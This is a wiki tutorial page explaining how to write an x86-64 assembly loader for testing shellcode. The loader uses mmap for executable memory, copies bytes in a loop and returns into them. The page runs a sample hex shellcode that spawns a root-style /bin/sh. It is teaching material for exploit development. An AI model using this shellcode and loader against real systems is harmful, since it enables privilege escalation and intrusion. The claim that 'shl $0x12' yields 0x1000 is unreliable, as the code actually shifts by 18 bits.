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Shellcode/Loaders

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Revision as of 16:19, 26 November 2012 by LashawnSeccombe (Talk | contribs) (Return oriented loader)

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The code discussed here is revisited later to be converted into shellcode for use in a polymorphic shellcode decoder, so it is nearly null-free. Full source available in the appendix or by downloading shellcodecs.

Shellcode has to be tested before it can be used, so a shellcode loader is needed. The best way to construct a loader for user-friendly operations is by taking the shellcode as a command line argument.

Writing an unlinked loaders

Executable

Command Line Arguments

Command line arguments are pushed onto the stack in this order: second argument, first argument, number of arguments. Therefore, in order to get the shellcode from the arguments, pop the %rbx register three times. Once this is done, the %rbx register will contain a pointer to the shellcode:

 
_start:
    pop %rbx  # argc
    pop %rbx  # arg0
    pop %rbx  # arg1 pointer
 

Executable memory allocation with mmap()

See also: Unlinked 64-bit system calls, the 64-bit system call table

Because modern operating systems have non-executable stacks by default, an executable stack must be constructed for successful code execution. This is done with the mmap() system call.

The prototype for mmap() is:

 
  void *mmap(void *addr, size_t len, int prot, int flags, int fildes, off_t off);
 

On 64-bit processors, function arguments are passed like so:

 
   function_call(%rax) = function(%rdi,  %rsi,  %rdx,  %r10,  %r8,  %r9)
                 ^system          ^arg1  ^arg2  ^arg3  ^arg4  ^arg5 ^arg6
                  call #
 

First, the system call number for mmap() is placed into %rax:

 
    push $0x9
    pop %rax
 

The first argument (%rdi) of mmap() should be null, so using xor, %rdi is set to zero.

 
    xor %rdi, %rdi
 
  • The desired size of the buffer (4096 bytes or 0x1000) is passed into %rsi as the second argument to mmap.

The %rsi register is initialized to zero by pushing %rdi and popping %rsi:

 
    push %rdi
    pop %rsi
 

Then incremented to get it to 0x0001:

 
    inc %rsi
 

And shifted left 12 bits (1 shifted left 12 bits will become 0x1000 or binary 00010000 00000000):

 
    shl $0x12, %rsi
 

The third argument (%rdx) contains the memory permissions (read, write, execute, or none), for multiple, they are put together using bitwise or. Since 7 is the result of ORing the flags PROT_READ, PROT_WRITE, and PROT_EXEC, the or itself is skipped and its value is stored in %rdx.

 
    push $0x7
    pop %rdx
 

The flags argument functions the same way as the "prot" argument, but requires constants for mapping. In this case MAP_PRIVATE|MAP_ANONYMOUS, which maps out to 0x22, which is stored in %r10.

 
    push $0x22
    pop %r10
 

The final two arguments should be null and stored in %r8 and %r9.

 
    push %rdi
    push %rdi
    pop %r8
    pop %r9
 

Once the registers are set, a syscall is used to invoke mmap().

 
    syscall   # The syscall for the mmap().
 

The %rax register now contains a pointer to the buffer returned by mmap() to copy the shellcode into.

Copying the code into the new memory

The %rsi register is initialized to 0 to be used as a counter:

 
inject: 
    xor %rsi, %rsi
 

%rdi will be null as well because the current byte is compared to %dil to determine when we have reached the end of the shellcode.

 
    push %rsi
    pop %rdi    
 

If so, then we jump to inject_finished and actually execute the code.

 
inject_loop:
    cmpb %dil, (%rbx, %rsi, 1)
    je inject_finished
 

Each byte of the shellcode is moved from %rbx + %rsi (current location) into %rax + %rsi (new executable memory) through the %r10b single-byte sub-register of %r10:

 
    movb (%rbx, %rsi, 1), %r10b
    movb %r10b, (%rax,%rsi,1)
 

%rsi is incremented as both the offset and the counter:

 
    inc %rsi
 

And then the loop restarts:

 
    jmp inject_loop
 

The inject_finished routine then appends the ret opcode, 0xc3, to the end of the shellcode:

 
inject_finished:
    movb $0xc3, (%rax, %rsi, 1)
 

(note: opcodes are the instructions, whereas bytecode represents the opcode and its arguments, called operands in proper machine code terminology)

Returning to the code

The reason that the code is returned to rather than jumped to or called is because this more adequately provides the environment similar to that of a vulnerable application at the time of overflow. A payload is returned to, and therefore, when shellcode is loaded, it should also be returned to.

We then call ret_to_shellcode, this causes the address of exit to be pushed onto the stack, so that the end of the shellcode now returns to <address of exit>.

 
    call ret_to_shellcode
 

We then replace the original return address with the address of our shellcode and return into it.

 
ret_to_shellcode:
    push %rax
    ret
 

When the shellcode completes, it will return to our exit function to exit cleanly:

 
exit:
    push $60
    pop %rax
    xor %rdi, %rdi
    syscall
 

Once the code is complete we can run it along with our test shellcode:

 ╭─user@host ~  
 ╰─➤  as -oloader.o loader.s
 ╭─user@host ~
 ╰─➤  ld -oloader loader.o

Using the executable loader

The shellcode we'll invoke here is the same as the shellcode we constructed and extracted earlier. Notice the change in prompt, and that exit returns the original prompt. This indicates that our shellcode executed successfully.

 ╭─user@host ~
 ╰─➤  ./loader "$(echo -en "\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05");" 
 [user@host ~]$ exit
 exit
 ╭─user@host ~
 ╰─➤

Return oriented

Return oriented code can be tested using a loader as well; though a much smaller loader is used as return-oriented code should not require executable memory allocation:

 
_start:
 
pop %rbx  
pop %rbx  
pop %rsp  # %rsp now points to arg1 in the stack
ret
 

Writing loaders in C

Local

Remote